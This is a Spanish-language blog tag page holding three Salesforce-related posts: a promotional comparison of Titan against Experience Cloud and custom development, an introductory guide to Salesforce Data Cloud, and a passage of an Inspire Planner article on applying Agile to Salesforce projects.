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Etiqueta: Integraciones

Las Mejores Alternativas a Salesforce Experience Cloud

Las Mejores Alternativas a Salesforce Experience Cloud

Última actualización el 22 de septiembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cuáles son las mejores alternativas a Experience Cloud del mercado? ¿Y es posible encontrar una herramienta sin código que le permita crear portales y aplicaciones totalmente personalizables?

Objetivos:

Después de leer este blog, tendrás:

  • Comprensión de Salesforce Experience Cloud, incluidas sus fortalezas y debilidades.
  • Conocimiento de los pros y los contras de utilizar desarrollo personalizado para crear portales y aplicaciones web.
  • Una introducción a Titan Web, con una explicación de cómo esta herramienta de código cero puede brindarle la libertad de crear cualquier aplicación web o portal que desee.

El director de ventas Eric Brown se acercó a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo están muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar nóminas y cuidar el bienestar de los empleados. ¡Asegurarse de que todo el papeleo y la administración estén actualizados es una pérdida de hasta 12 horas cada semana! Está empezando a ser abrumador.

La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificación ni conocimientos técnicos especiales para su implementación. Saben que Salesforce Experience Cloud es una posible solución, pero también les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, ¿cuáles son las alternativas de Experience Cloud ?

Experiencia en la nube

Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en línea de marca. A lo largo de los años, Salesforce Experience Cloud evolucionó con actualizaciones y mejoras. Hoy en día, sirve como una solución integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.

La creación de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presión de su departamento de recursos humanos. Un portal de autoservicio o una aplicación web creada con Experience Cloud proporciona a los empleados acceso directo a su información personal y profesional, lo que facilita la actualización de información y registros en cualquier momento o lugar.

Echemos un vistazo más de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organización.

Las mayores ventajas de Experience Cloud:

  • Plantillas listas para usar para impulsar su implementación
  • Soluciones Lightning Bolt disponibles de forma gratuita o compradas en Salesforce AppExchange
  • Acceso completo a los datos de Customer 360 guardados en Salesforce
  • Salesforce Experience Cloud funciona a través de un software intuitivo de arrastrar y soltar, por lo que no es necesario tener ninguna experiencia técnica especial ni conocimientos de codificación.
  • Dado que Experience Cloud es nativo de Salesforce, no es necesario realizar ningún trabajo de integración adicional. El software ya habla el idioma de los administradores de Salesforce y tiene la interfaz de usuario con la que estarían familiarizados.
  • Puedes crear páginas públicas y privadas. La ventaja de esto es que sólo los usuarios con los permisos de acceso adecuados podrán visitar espacios específicos.
  • Las opciones listas para usar de Experience Cloud le brindan G2M rápido y lo más probable es que pueda crear su portal o sitio en uno o dos días.
  • También tiene la opción de diseñar su portal o sitio web de la manera que desee utilizando imágenes y colores personalizados para que coincidan con la apariencia de su marca.
  • Listo para dispositivos móviles

Contras de Experience Cloud:

  • Las opciones listas para usar no le brindan mucha flexibilidad para personalizar y ajustar el diseño de su página para satisfacer sus necesidades.
  • Experience Cloud es algo limitado desde la perspectiva de la experiencia del usuario; por ejemplo, no puede utilizar elementos repetidos, edición en línea de tablas, pantallas modales y otros elementos atractivos. Por ejemplo, es posible que desee crear un elemento que abra la biblioteca de cámaras del usuario al hacer clic en él, pero con Salesforce Experience Cloud esto es imposible.
  • Salesforce Experience Cloud es definitivamente caro, por lo que si desea optar por esta solución, prepárese para pagar
  • No se puede diferenciar entre la experiencia del usuario de escritorio y móvil usando opciones listas para usar. Para ello es necesario recurrir al desarrollo personalizado.
  • Sin validaciones de entrada en tiempo real. Primero debes hacer clic en el botón “Guardar”.
  • Las integraciones fuera de Salesforce son tareas complejas y requieren un desarrollo extenso
  • Hay una cantidad limitada de plantillas disponibles y estas solo cubren casos de uso específicos. Esto significa que es posible que no encuentre la plantilla adecuada para las necesidades de su negocio.

Ejemplo de plantillas de Salesforce Experience Cloud a continuación. Crédito: https://www.salesforce.com/products/experience-cloud/features/templates/

¿Puede el desarrollo personalizado superar las limitaciones de Experience Cloud?

Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opción le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, así como sus inconvenientes:

Ventajas del desarrollo personalizado:

  • Lo bueno de utilizar el desarrollo personalizado para crear sus aplicaciones y portales es que puede hacer lo que quiera con su lienzo en blanco, por ejemplo, integrarlo con múltiples sistemas externos a Salesforce.
  • Puede emplear desarrolladores para crear cualquier UX que desee, de modo que no esté limitado a Salesforce UX al determinar la experiencia que tienen los clientes cuando visitan su sitio.
  • Puedes crear diseños dinámicos para cualquier dispositivo, por ejemplo, portátil o móvil, sin restricciones.
  • Su portal o sitio puede personalizarse para cualquier caso de uso que se le ocurra. ¡Si puedes soñarlo puedes hacerlo!
  • Proporciona mayor control y propiedad: con un portal o sitio web de desarrollo propio, las organizaciones tienen total propiedad y control sobre la propiedad intelectual, el código fuente y las mejoras futuras.

El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sueños sin barreras, restricciones ni compromisos. Pero este método no está exento de desventajas. Vea a continuación algunos de los principales puntos débiles:

Desventajas del desarrollo personalizado:

  • Falta de experiencia técnica: desarrollar un portal o una aplicación web requiere habilidades y recursos técnicos especializados
  • Limitaciones de tiempo y recursos: crear una aplicación o un portal web puede ser un proceso que requiere mucho tiempo y una inversión significativa.
  • La salida al mercado puede verse seriamente retrasada, lo que podría afectar negativamente a sus objetivos comerciales.
  • Rápidos avances tecnológicos: el panorama tecnológico evoluciona continuamente y periódicamente surgen nuevas características, marcos y plataformas. Desarrollar una aplicación web o un portal internamente requiere mantenerse actualizado con las últimas tecnologías y mejores prácticas.
  • Desafíos de mantenimiento y soporte: una vez que se desarrolla un portal de autoservicio o una aplicación web, el mantenimiento y el soporte continuos son esenciales para su buen funcionamiento.
  • Básicamente, dependerá de los recursos de desarrollo y se verá paralizado cuando desee realizar actualizaciones simples. ¡No suena divertido!
  • Problemas de integración: desarrollar una aplicación web o un portal internamente puede plantear conflictos de integración con sistemas, bases de datos o servicios de terceros existentes.
  • Consideraciones de seguridad y cumplimiento: crear una aplicación o un portal seguro implica implementar medidas de seguridad sólidas y garantizar el cumplimiento de las normas de protección de datos.
  • Centrarse en las competencias básicas: las organizaciones deben evaluar si el desarrollo de una aplicación o portal se alinea con sus competencias básicas y prioridades estratégicas.
  • ¡Dinero dinero dinero! Esta es definitivamente tu opción más cara, así que prepárate para acumular una factura.

¡Haciéndolo todo con la plataforma de experiencia digital de Titan!

Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho más. Y es una de las mejores alternativas a Experience Cloud del mercado.

Titan es una plataforma sin código con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: ¿cómo se compara Titan con Experience Cloud? ¿Tiene también ventaja sobre el desarrollo personalizado? A continuación, detallamos cómo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:

Puntos ganadores de Titán:

  • Plataforma de código cero con una interfaz sencilla de arrastrar y soltar, por lo que no necesita gastar dinero en desarrollos costosos
  • Integración bidireccional en tiempo real con Salesforce y acceso completo a Customer 360
  • Plantillas listas para usar para acelerar su comercialización
  • Experiencia de usuario 100 % flexible por dispositivo para viajes de cliente personalizados
  • Totalmente de marca para que coincida con la apariencia de su organización.
  • El enfoque móvil primero le brinda la capacidad de escalar
  • Totalmente seguro y compatible con los principales marcos regulatorios como GDPR, SOC 2 e HIPAA
  • Cree perfiles personalizados para clientes y socios que sean fáciles de implementar
  • Genere documentos y fírmelos desde su aplicación o portal
  • Capacidades sin conexión para que pueda utilizar esta herramienta incluso cuando esté fuera del alcance de Internet
  • Compatible con múltiples idiomas y monedas
  • Integraciones integradas de terceros
  • Capacidades completas de gestión de versiones
  • Rentable en comparación con la competencia

Ahora, echemos un vistazo a las desventajas de Titan:

  • El tiempo de incorporación puede variar entre 4 y 20 horas, según la complejidad de su caso de uso.
  • Ocasionalmente, para una lógica o un diseño de diseño muy complejos, una organización necesitará agregar código JS y/o CSS para ajustarse a sus necesidades.
  • El dominio/subdominio del sitio web está limitado a uno por cliente. Se pueden comprar dominios adicionales por un costo adicional

El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola línea de código. Sin concesiones ni agendas ocultas para que pueda acelerar su comercialización.

Comparación de Experience Cloud frente a la competencia

Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, ¿cuál es el resultado final y quién sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuación para descubrirlo:

Experiencia en la nube Desarrollo a la medida Plataforma Titán
Costo Medio Muy caro Medio
Hora de comprar Corto Largo Muy corto
Esfuerzo de mantenimiento prolongado Bajo Muy alto Bajo
Recursos necesarios para el proyecto Administrador de SF Desarrolladores Administrador de SF
Flexibilidad de diseño Muy poco Lleno Lleno
Experiencia de usuario Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario Puedes desarrollar cualquier cosa que puedas soñar. Casi todo lo que puedas soñar
Marca Sí con temas personalizados Sí con temas personalizados
Integración de Salesforce Requiere desarrollo por integración.
Integraciones de terceros Requiere complementos pagos o desarrollo Requiere complementos pagos o desarrollo
Validaciones de datos en tiempo real No
Flujo de trabajo y automatización No
Móvil Listo para dispositivos móviles Diseño completamente dinámico por dispositivo Diseño completamente dinámico por dispositivo
Conocimiento de Salesforce Compatible Requiere desarrollo Compatible
Compromiso digital de Salesforce Compatible Requiere desarrollo Compatible

Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sueños. Pero está claro que si está buscando una herramienta web sin código, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opción.

Quizás recuerde que anteriormente en este artículo una empresa estaba buscando una solución flexible y sin código para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:

  • Los empleados inician sesión en el portal:
  • Reciben una autenticación de dos factores enviada a su correo electrónico para que puedan iniciar sesión en el portal sin administrar ninguna otra contraseña.
  • Las páginas web y los portales se muestran dinámicamente según la autenticación del usuario, proporcionando una experiencia de usuario dinámica con cada clic.
  • Todo está construido sólo con herramientas de arrastrar y soltar. No es necesaria ninguna codificación, ya que todos los datos fluyen hacia y desde Salesforce en tiempo real.
  • El Portal de Recursos Humanos brinda a los empleados un fácil acceso a información personal y profesional, lo que hace que sea muy conveniente actualizar registros y sus propios datos personales:
  • Los formularios digitales personalizados han eliminado los errores de entrada y las imprecisiones de los datos con el precompletado dinámico utilizando datos de Salesforce.
  • En el pasado, cada vez que un empleado quería reservar sus días de vacaciones, tenía que completar un formulario de licencia manual, escanearlo y enviarlo por correo electrónico a Recursos Humanos para su aprobación. Ahora simplemente hacen clic en la pestaña de días de vacaciones para gestionar las solicitudes de licencia.
  • El Portal de Recursos Humanos del Empleado permite a los empleados registrar pedidos de equipos de TI directamente desde sus dispositivos móviles, computadoras portátiles y de escritorio.
  • Los empleados pueden presentar solicitudes de gastos de la empresa antes de que se procesen para la nómina y pueden presentar las solicitudes para recibir el pago antes de la fecha límite de nómina. Esto significa que no hay que esperar a que se paguen las reclamaciones de gastos.
  • Incluso hay un Centro de conocimiento donde los empleados pueden obtener respuestas a todas sus preguntas frecuentes y solucionar problemas rápidamente:
  • Recursos Humanos ahorra 40 horas al mes en trabajo manual (¡incluida la nómina!) y los empleados están más comprometidos.
  • La empresa logró hacer todo esto dentro del presupuesto y en un tiempo récord, sin tener que implementar ningún código ni desarrollo personalizado.

Prueba de concepto

Consulte este portal de recursos humanos sin código donde los empleados pueden iniciar sesión y realizar diversas acciones de autoservicio:

[contenido incrustado]

Salesforce Experience Cloud es una solución conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun así, no está exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opción real para diferenciar entre la experiencia de escritorio y móvil, y dificultad para integrarse con herramientas fuera de Salesforce, ¡por nombrar solo algunas!

Utilizar el desarrollo personalizado para crear su propia aplicación o portal personalizado resolverá la mayoría de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicación que puedas soñar y obtener diseños dinámicos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos débiles de Experience Cloud, esta solución presenta sus propios desafíos, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercialización más lenta.

Titan gana a lo grande al brindarle lo mejor de ambos mundos: obtiene software de arrastrar y soltar combinado con la libertad y flexibilidad que brinda el desarrollo personalizado. Si está buscando la alternativa líder a Experience Cloud y le gustó lo que leyó, ¡póngase en contacto hoy!

Evaluación formativa

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Cómo comenzar con Salesforce Data Cloud: guía 101 y casos de uso

Cómo comenzar con Salesforce Data Cloud: guía 101 y casos de uso

Última actualización el 2 de octubre de 2023 por Rakesh Gupta

Los datos no son sólo un buen extra; es esencial. Especialmente ahora, cuando las empresas operan en gran medida en espacios digitales, la necesidad de un buen uso de los datos es clara. El papel del análisis de datos se ha vuelto crucial para impulsar el éxito de una empresa. Es importante que los líderes de las empresas tengan un plan de datos sólido, uno que permita que sus negocios avancen rápidamente y enfrenten desafíos difíciles.

Los equipos se benefician enormemente de un análisis de datos sólido. Pueden tomar decisiones inteligentes más rápido que antes y también con mayor precisión. Este tipo de uso de datos también ayuda a los equipos a trabajar mejor juntos al eliminar cosas que obstaculizan un buen trabajo en equipo. Los líderes de TI tienen un papel especial aquí. Tienen las habilidades para hacer que los datos sean útiles de nuevas maneras, transformando el trabajo de los equipos y mejorando la experiencia de los clientes.

¿Qué es Salesforce Data Cloud y por qué debería implementarlo?

Salesforce Data Cloud está diseñada para cambiar la forma en que las empresas interactúan con los clientes. Es bueno para recopilar datos de diferentes lugares. Estos datos van a una gran área de almacenamiento llamada lago de datos. Luego utiliza un análisis preciso para explicar lo que significan los datos.

Salesforce Data Cloud ayuda a vincular varias fuentes y nubes más rápidamente en toda la plataforma. Sin embargo, Data Cloud también es un artículo que se puede pedir. Aunque no todos los clientes de Salesforce han comprado Data Cloud, aunque se encuentran en el punto de partida, todavía utilizan Data Cloud hasta cierto nivel. Sin embargo, todo esto se fortalece cuando se utiliza la Nube de Datos como plataforma de personalización y unificación de datos.

¿Por qué necesito implementar una nube de datos ahora?

Imagínese cómo el volumen de datos crece rápidamente cuando piensa en la cantidad de clics que hace cada cliente. Puede realizar un seguimiento de dichos datos de participación a medida que ocurren, por ejemplo, cuando los usuarios abren y hacen clic en correos electrónicos, exploran páginas en sus aplicaciones móviles y miran artículos en su tienda en línea. Es mucho más probable que las personas hagan clic cuando les envías un correo electrónico o una oferta que les resulta útil. Puede capturar la interacción cuando un consumidor hace clic en Data Cloud. Cuando sepa qué les interesa y si es probable que compren algo o no, podrá aprovechar esta información a su favor.

Para cada sector o puesto, la Nube de Datos puede generar experiencias y oportunidades de negocio potentes.

Para analizar cuentas integradas y adquirir información rápida y fácilmente sobre sus clientes y los efectos comerciales, los analistas pueden conectar Data Cloud a Tableau o QlikView . Cuando una empresa puede identificar a sus consumidores en función de la cantidad y el tema de sus tickets de soporte, puede desarrollar y llevar a cabo un plan para reducir esos tickets. Verifique los datos nuevamente para asegurarse de que el plan haya tenido éxito.

Los desarrolladores pueden crear software utilizando datos de Data Cloud, como un sistema de puntuación de salud que mide la puntuación de salud de un paciente utilizando objetos e información prediseñados. Cuando una actividad de datos inicia un flujo para enviar notificaciones a los médicos cuando una puntuación cae por debajo de un nivel específico, esa puntuación y su uso se convierten en una experiencia que salva vidas.

Según la probabilidad de conversión de un cliente, los vendedores pueden obtener información sobre sus clientes potenciales y sus ventas potenciales. Según los hábitos de navegación de los usuarios y los niveles actuales de oferta de productos, la gestión del comercio electrónico puede utilizar datos para personalizar su sitio web.

¿Cómo funciona la nube de datos de Salesforce?

Fuente de la imagen: Blog de desarrolladores de Salesforce Reúna todos los datos de sus clientes en Data Cloud

En pocas palabras, Data Cloud permite a los administradores de Salesforce realizar una variedad de acciones, que incluyen, entre otras:

  • Vincula tus fuentes de datos por lotes y de streaming.
  • Refine los datos entrantes empleando métodos de transformación y adhiriéndose a protocolos de gobernanza.
  • Estandariza tus datos conformándolos a un modelo establecido.
  • Fusione diferentes elementos de datos mediante la aplicación de reglas de coincidencia de identidades.
  • Explore su conjunto de datos para obtener información mediante consultas y análisis en profundidad.
  • Implementar algoritmos de inteligencia artificial para pronosticar comportamientos.
  • Divida y fragmente sus datos y luego impleméntelos en múltiples plataformas para crear experiencias personalizadas.
  • Evalúe sus datos a través de soluciones de análisis compatibles.
  • Exporte estos datos a diversos destinos, alineando acciones con objetivos comerciales específicos.
  • Vuelva a evaluar, cuantifique y ajuste periódicamente sus activos de datos.
Fuente de la imagen: Ayuda de Salesforce Acerca de Salesforce Data Cloud

Cómo empezar con la nube de datos

Se puede utilizar una estructura similar a un lago de datos para describir Salesforce Data Cloud. Como ejemplo, recopilando todos los datos de la plataforma Salesforce. Sin embargo, también es capaz de importar datos de otras fuentes externas, como lagos de datos.

Perspectiva :

Un lago de datos es una ubicación concentrada para almacenar datos no procesados. Las empresas utilizan este sistema de almacenamiento enorme, adaptable y asequible para recopilar y guardar grandes cantidades de datos organizados, no estructurados y semiestructurados en su formato original. Las publicaciones en redes sociales, los registros de sensores y los datos de ubicación son solo algunos ejemplos de los datos no estructurados que recopilan los lagos de datos.

Lo que indica para los usuarios : las marcas son más capaces de predecir los requisitos y necesidades de los consumidores debido a la gran cantidad de información accesible en un lago de datos.

Cómo afecta a los equipos : Los equipos pueden acceder a enormes cantidades de datos en una ubicación, lo que les permite moverse más rápidamente y mantenerse al día con (o superar) a los oponentes.

Pasos de implementación

Revise esta lista de verificación sugerida antes de comenzar a utilizar Data Cloud. Confirme que su equipo esté configurado antes de implementar Data Cloud, verifique estos puntos:

  • El equipo comprende los principales conceptos y restricciones que pueden afectar la facturación.
  • Analiza la gestión de la marca y la estructura organizacional.
  • Examina los principios del modelo de datos antes de acordar una estrategia de datos.
  • Analice los datos que ya tiene y las fuentes de datos.
  • Reconoce a un administrador de Salesforce para configurar Salesforce Data Cloud.
  • Enumera los usuarios además de los permisos que requieren.
  • Establece objetivos de segmentación.
Fuente de la imagen: Configuración de la nube de datos del módulo Trailhead

Costo y disponibilidad de Salesforce Data Cloud

Salesforce Data Cloud es costoso. Es una inversión que requiere una planificación meticulosa porque comienza en $10 mil por organización, mensualmente. De manera realista, dependiendo de los valores de sus datos, es posible que su empresa ya necesite gastar más en Data Cloud. Como tus datos crecen constantemente, es importante tenerlo presente todo el tiempo, pero…  

… En el último evento de Dreamforce, Salesforce anunció que las licencias gratuitas de Data Cloud ya están disponibles. Los clientes que tengan Enterprise Edition o superior ahora pueden acceder a Data Cloud sin costo alguno. En esta oferta se incluyen dos licencias de Tableau Creator, que permiten a las empresas conectar hasta 10 000 perfiles de clientes y comenzar sus exploraciones.

En conclusión

Los datos son más cruciales que nunca y supervisar el flujo de datos en constante crecimiento es un trabajo increíble. Sin embargo, los datos tienen una enorme influencia. El potencial de obtener conocimientos empresariales que puedan fundamentar decisiones y producir experiencias sorprendentes para los clientes crece a medida que aumenta el acceso a los datos y la alfabetización sobre datos para las personas de toda su empresa. La IA y el CRM se pueden utilizar para impulsar actividades inteligentes y proporcionar servicios personalizados a escala cuando se combinan con datos procesables en tiempo real.

Ahora, con Data Cloud y Einstein AI nativos en la plataforma Einstein 1, las empresas pueden crear fácilmente aplicaciones y flujos de trabajo impulsados por AI que potencian la productividad, reducen costos y brindan increíbles experiencias a los clientes. – Parker Harris, cofundador y director de tecnología, Salesforce

Los datos del cliente, el contenido empresarial, los datos de telemetría, los chats de Slack, los datos parcialmente estructurados y otros datos estructurados y no estructurados se fusionan y conectan mediante Data Cloud, la plataforma de datos a hiperescala de Salesforce que funciona en tiempo real, para generar un perfil único del cliente. La plataforma ya vincula e integra 100 mil millones de registros diariamente y procesa 30 billones de transacciones mensuales.

Las empresas ahora pueden crear perfiles de clientes completos y unificados, ofrecer nuevas experiencias de CRM y acceder a datos fragmentados de formas completamente nuevas gracias a la integración completa de la nueva Nube de Datos con la Plataforma Einstein 1.

Referencias:

Dorian es un administrador y desarrollador certificado 4x de Salesforce con amplia experiencia en la personalización de Salesforce según las necesidades del cliente. Comenzó su trayectoria en TI como administrador de CRM y mantuvo su enfoque en el ecosistema de Salesforce. Le encanta explorar nuevas integraciones en Salesforce y detectar formas alternativas de optimizar los procesos comerciales dentro del CRM. Actualmente trabaja como desarrollador de Salesforce a tiempo completo y contribuye con contenido al portal educativo SFApps.info.

Evaluación formativa:

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Uso de Agile en proyectos de Salesforce – Inspire Planner

Uso de Agile en proyectos de Salesforce - Inspire Planner

Los enfoques tradicionales de gestión de proyectos a menudo necesitan ayuda con la naturaleza vibrante de las implementaciones de Salesforce. Estos enfoques convencionales, aunque estructurados, pueden provocar falta de comunicación, incumplimiento de plazos y aumento de costos debido a su inflexibilidad. Afortunadamente, puedes utilizar Agile en proyectos de Salesforce para mejorar el proceso de entrega de tu proyecto.

Los proyectos de CRM pueden ser extremadamente complejos y tienen una tasa de fracaso significativa. Según diferentes fuentes que investigan proyectos de CRM, entre el 20 y el 70% de dichos proyectos fracasan. La falta de coordinación interfuncional se citó a menudo como el factor de riesgo más importante para el fracaso del proyecto CRM. Imagine la frustración de invertir tiempo y recursos en un proyecto de Salesforce sólo para verlo descarrilado por estrategias de gestión inflexibles.

La metodología Agile ofrece una salida. En comparación, sólo el 9% de los proyectos ágiles terminan en fracaso. Diseñado para la adaptabilidad y la colaboración, Agile en los proyectos de Salesforce los mantiene alineados con los objetivos comerciales a través del enfoque iterativo.

En este artículo, descubrirá cómo Agile en los proyectos de Salesforce garantiza que se mantengan encaminados, que las partes interesadas participen continuamente y que el resultado resuene con los objetivos previstos.

Metodología de gestión de proyectos en cascada versus ágil: descripción general rápida

Waterfall es una metodología tradicional de gestión de proyectos que sigue un enfoque lineal y secuencial. Los proyectos que utilizan la metodología Waterfall avanzan a través de fases predefinidas, desde la recopilación de requisitos hasta la implementación del producto, y normalmente utilizan el diagrama de Gantt para mostrar el cronograma y el progreso de los proyectos.

Gestión de proyectos en cascada de Inspire Planner en SalesforceGestión de proyectos en cascada de Inspire Planner en Salesforce

Por el contrario, la metodología Agile es un enfoque colaborativo para la gestión de proyectos y el desarrollo de software que enfatiza la flexibilidad, los comentarios de los clientes y la iteración rápida. En lugar de una progresión lineal, los proyectos se dividen en tareas pequeñas y manejables llamadas "sprints" o "iteraciones", que son períodos cortos con un límite de tiempo.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Si diferentes equipos de su organización utilizan ambos enfoques para diferentes proyectos, existen herramientas nativas de Salesforce como Inspire Planner que pueden manejar con éxito ambas metodologías, Waterfall y Agile.

Beneficios de utilizar Agile en proyectos de Salesforce

Los proyectos de Salesforce son complejos y requieren un enfoque flexible e iterativo para tener éxito. La metodología ágil es muy adecuada para este tipo de proyectos y ofrece varios beneficios que pueden ayudar a agilizar el proceso.

  • Velocidad: Con Agile en Salesforce, los proyectos se dividen en fases cortas de sprint, cada una de las cuales da como resultado un resultado tangible o una parte del producto final. Este enfoque modular acelera el proceso de desarrollo, garantizando una entrega más rápida que los métodos tradicionales, donde todo el proyecto se aborda como una tarea enorme. Alrededor del 6,2% opta por sprints de una semana, manteniendo sus ciclos cortos y dinámicos, mientras que la mayoría de los equipos (59,1%) prefiere sprints de 2 semanas.
  • Flexibilidad: Agile permite a los equipos incorporar estos cambios sin problemas en el proyecto en curso a medida que evolucionan las necesidades de los procesos de negocio o surgen nuevos requisitos. Esto garantiza que el producto final siempre se alinee con los objetivos comerciales actuales y las necesidades de los usuarios. La flexibilidad de Agile lo hace un 37% más rápido y un 16% más productivo que el modelo de desarrollo de proyectos convencional.
  • Participación del cliente: Agile enfatiza la colaboración y la comunicación abierta. Los clientes o partes interesadas participan durante todo el proceso de desarrollo y brindan retroalimentación periódica después de cada sprint. Esta participación continua garantiza que el producto se desarrolle según sus expectativas, lo que reduce las posibilidades de sorpresas de último momento o revisiones importantes. Se pueden realizar cambios inmediatamente si hay obstáculos o defectos en el camino, lo que convierte a Agile en un modelo ideal para muchos equipos de diversas industrias.
  • Calendario y costos predecibles: la naturaleza de Agile, combinada con su énfasis en la planificación y las revisiones periódicas, facilita la estimación de cronogramas y presupuestos. Cada sprint tiene una duración y un alcance definidos, lo que permite a los equipos predecir mejor los costos del proyecto y las fechas de entrega. Los sprints suelen durar entre una y cuatro semanas, lo que permite a los equipos ofrecer nuevas funciones rápidamente y con una fuente de alta previsibilidad.

Cómo Agile en Salesforce mejora la gestión de proyectos

El verdadero potencial de Salesforce sólo puede desbloquearse si se combina con un enfoque de gestión de proyectos adaptativo. Así es como Agile amplifica la eficacia de la entrega de proyectos de Salesforce:

  • Desarrollo iterativo y retroalimentación: Agile lo coloca a la vanguardia, a diferencia de los modelos tradicionales, donde la retroalimentación suele ser una ocurrencia tardía. Agile en Salesforce permite adaptaciones rápidas basadas en los comentarios de las partes interesadas al dividir el proyecto en sprints más pequeños y manejables. Según una encuesta del Project Management Institute, el 71% de las empresas adoptan Agile, lo que destaca su amplia aceptación y eficacia.
  • Colaboración y comunicación: Agile no es solo una metodología; es una cultura. Mejora un entorno de comunicación abierta, garantizando que todos los miembros del equipo, desde los desarrolladores hasta las partes interesadas, estén en sintonía. Esta colaboración mejorada garantiza que la implementación de Salesforce sea integral y atienda todas las facetas del negocio. Desarrollar una cultura ágil sólida en su organización puede aumentar el rendimiento comercial en un 237 %.
  • Transparencia: una de las características destacadas de Agile es su énfasis en la visibilidad. Herramientas como los tableros Kanban y los gráficos de evolución ofrecen a las partes interesadas una vista en tiempo real del progreso del proyecto. Esta transparencia garantiza la rendición de cuentas y permite intervenciones oportunas si el proyecto se desvía de su curso. Agile en Salesforce puede mejorar la transparencia del proyecto en un 40%.
  • Gestión de riesgos: los riesgos son inevitables en el ajetreado mundo de las implementaciones de Salesforce. Sin embargo, con su enfoque iterativo, Agile permite la identificación temprana de posibles obstáculos. Al abordar los problemas de frente, Agile en Salesforce garantiza que los riesgos se identifiquen y mitiguen rápidamente. El 31% de las empresas ha adoptado Agile para reducir los riesgos.
  • Mejora continua: la complacencia no tiene cabida en Agile. Después de cada sprint, los equipos realizan retrospectivas, analizando qué salió bien y qué no. Estos conocimientos allanan el camino para la optimización de procesos, garantizando que el equipo evolucione y mejore. Según Hexacta, adoptar una mentalidad de mejora continua en el desarrollo ágil ayuda a mejorar la productividad del equipo y mejora la innovación.
Registro de riesgos del proyecto en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Implementación de Agile en proyectos de Salesforce

La integración de metodologías ágiles en proyectos de Salesforce puede cambiar las reglas del juego para las implementaciones de CRM. Aquí hay una guía de 4 pasos para incorporar Agile a la perfección en sus esfuerzos de Salesforce:

Configurar equipos para Agile en Salesforce

La base de cualquier proyecto Agile exitoso radica en su equipo. Para los proyectos de Salesforce, hay miembros responsables de tareas específicas.

  • Propietario del producto: el propietario del producto establece la visión del proyecto, prioriza las tareas y alinea el equipo con los objetivos comerciales.
  • Scrum Master: Actuando como facilitador, el Scrum Master garantiza que se sigan los procesos ágiles, aborda cualquier impedimento que el equipo pueda enfrentar y fomenta un entorno colaborativo.
  • Equipo de desarrollo: compuesto por desarrolladores, arquitectos y otros especialistas de Salesforce, este grupo es responsable de la implementación real, asegurando que cada sprint entregue resultados tangibles.

Herramientas y plataformas

Los usuarios de Salesforce pueden encontrar varias herramientas nativas de gestión de proyectos para ayudar en la implementación ágil. Herramientas como Inspire Planner pueden ser invaluables, ya que ofrecen funciones que se alinean con los principios ágiles, como:

  • Reserva
  • tableros kanban
  • Planificación de sprints
  • Seguimiento del tiempo
  • Administracion de recursos
  • Informes ágiles y paneles de control

Inspire Planner es una aplicación de gestión de proyectos 100 % nativa de Salesforce que es totalmente compatible con Agile en Salesforce desde el primer momento y cuenta con una alta calificación de sus clientes con más de 140 reseñas de 5 estrellas en AppExchange. Con esta herramienta, puede gestionar fácilmente los trabajos pendientes de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.

Dado que Inspire Planner se encuentra dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce, como Oportunidades, Casos y Cuentas, incluidos registros de sus objetos personalizados.

Además, Inspire Planner también ofrece una funcionalidad avanzada pero intuitiva de gestión de proyectos en cascada. Al combinar las metodologías Waterfall y Agile en un solo paquete con un solo costo de suscripción, Inspire Planner es la aplicación para todas sus necesidades de gestión de proyectos en Salesforce.

Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Planificación de Sprint, reuniones diarias y revisiones de Sprint

En el contexto de Salesforce, estas ceremonias Agile son importantes para su proceso de gestión de proyectos:

  • Planificación de Sprint: Dadas las vastas capacidades de Salesforce, definir objetivos claros para cada sprint es crucial, asegurando que los esfuerzos del equipo se dirijan hacia tareas de alta prioridad.
